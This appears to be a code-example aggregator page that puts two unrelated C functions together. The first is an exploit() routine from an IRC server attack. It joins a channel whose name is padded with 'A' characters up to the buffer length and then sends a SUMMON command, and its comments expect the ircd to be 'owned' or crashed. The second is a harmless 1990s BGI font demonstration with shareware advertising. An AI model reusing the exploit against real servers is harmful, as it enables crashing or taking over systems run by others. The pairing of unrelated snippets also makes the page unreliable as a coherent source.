Пример #1
0
void exploit()
{
   printf("Successfuly logged in.\n\n");

   channel[0] = '#', memset(channel+1, 'A', CHANLEN-1),
   channel[CHANLEN] = '\0';

   snprintf(writebuf, BUFSIZE-1, "JOIN %s\n", channel);
   printf("Joining a channel..\n");

   if (send(sockfd, writebuf, strlen(writebuf), 0) == ERROR)
   {
      fprintf(stderr, "error with send(): %s\n\n", strerror(errno));
      close(sockfd), exit(ERROR);
   }

   sleep(3), checkerrors();

   snprintf(writebuf, BUFSIZE-1, "SUMMON %s %s\n", SUMMONEE, channel);
   printf("\nAttempting to summon %s (the final item)..\n", SUMMONEE);

   /* ircd ownage/crash will occur during this send() */
   if (send(sockfd, writebuf, strlen(writebuf), 0) == ERROR)
   {
      fprintf(stderr, "error with send(): %s\n\n", strerror(errno));
      close(sockfd), exit(ERROR);
   }

   /* should have stopped/crashed on server-side by now */
   sleep(3), checkerrors();

   printf("If it didn't work, "
          "the server wasn't compiled with ENABLE_SUMMON\n");
}
Пример #2
0
void showFont(char *name)
   {
   int      i, j, fontHandle;
   uchar    ascii[3], message[30];;

   settextstyle(DEFAULT_FONT, HORIZ_DIR, 0);
   setcolor(CYAN);
   outtextxy(10, 20, "Microcosm BGI Font Demonstration Program");
   outtextxy(10, 40,
      "(C) Copyright 1992-1995 Tom Wright, Microcosm, 619-488-4462");
   outtextxy(10, 60, "internet e-mail [email protected]");
   outtextxy(400, 180, name);
   outtextxy(400, 200, "Microcosm Helvetica-like");
   i = (name[1]=='B' || name[1]=='b')+
      2*(strchr(&name[1], 'I')!=NULL || strchr(&name[1], 'i')!=NULL);
   outtextxy(400, 220, style[i]);
   sprintf(message, "CapHeight = %2d Pixels", name[3]-(name[3]<'A'?  '0': 55));
   outtextxy(400, 240, message);
   outtextxy(400, 300, "Register and get");
   outtextxy(400, 320, "245 BGI Fonts!");
   outtextxy(400, 340, "Send $29.95 to");
   outtextxy(400, 360, "Microcosm");
   outtextxy(400, 380, "819 Devon Ct.");
   outtextxy(400, 400, "San Diego, CA 92109");
   outtextxy(400, 420, "CA residents add 7% tax");
   outtextxy(400, 440, "See README file for details.");
   for (i=0; i<13; i++)
      {
      sprintf(ascii, "%2X", 32+(i>5? i+1 : i)*16);
      outtextxy(10, 195+i*20, ascii);
      }
   for (j=0; j<16; j++)
      {
      sprintf(ascii, "%1X", j);
      outtextxy(40+20*j, 170, ascii);
      }
   fontHandle = installuserfont(name);
   checkerrors();
   settextstyle(fontHandle, HORIZ_DIR, 0);
   setusercharsize(1, 1, 1, 1);
   checkerrors();
   setcolor(WHITE);
   outtextxy(10, 120, "The quick brown fox jumped over the lazy dog.");
   outtextxy(10, 140, "THE QUICK BROWN FOX JUMPED OVER THE LAZY DOG.");
   ascii[1] = '\0';
   for (i=0; i<13; i++)
      for (j=0; j<16; j++)
         {
         ascii[0] = 32+(i>5? i+1 : i)*16+j;
         outtextxy(40+20*j, 190+i*20, ascii);
         }
   bzzt();
// settextstyle(DEFAULT_FONT, HORIZ_DIR, 0);
   for (i=0; i<=nBlink; i++) /* I hope you don't find this too offensive. */
      {
      setcolor(GREEN);
      outtextxy(400, 270, "Just 10¢ a font!");
      if (i<nBlink)
         {
         delay(200); if (kbhit()) break; delay(200); if (kbhit()) break;
         setcolor(BLACK);
         fillpoly(4, box);
         delay(200); if (kbhit()) break; delay(200); if (kbhit()) break;
         }
      }
   if (nBlink)
      nBlink--;
   setcolor(WHITE);
   if (getch()==27)                    // 27 == Esc
      { closegraph(); exit(1); }
   cleardevice();
   }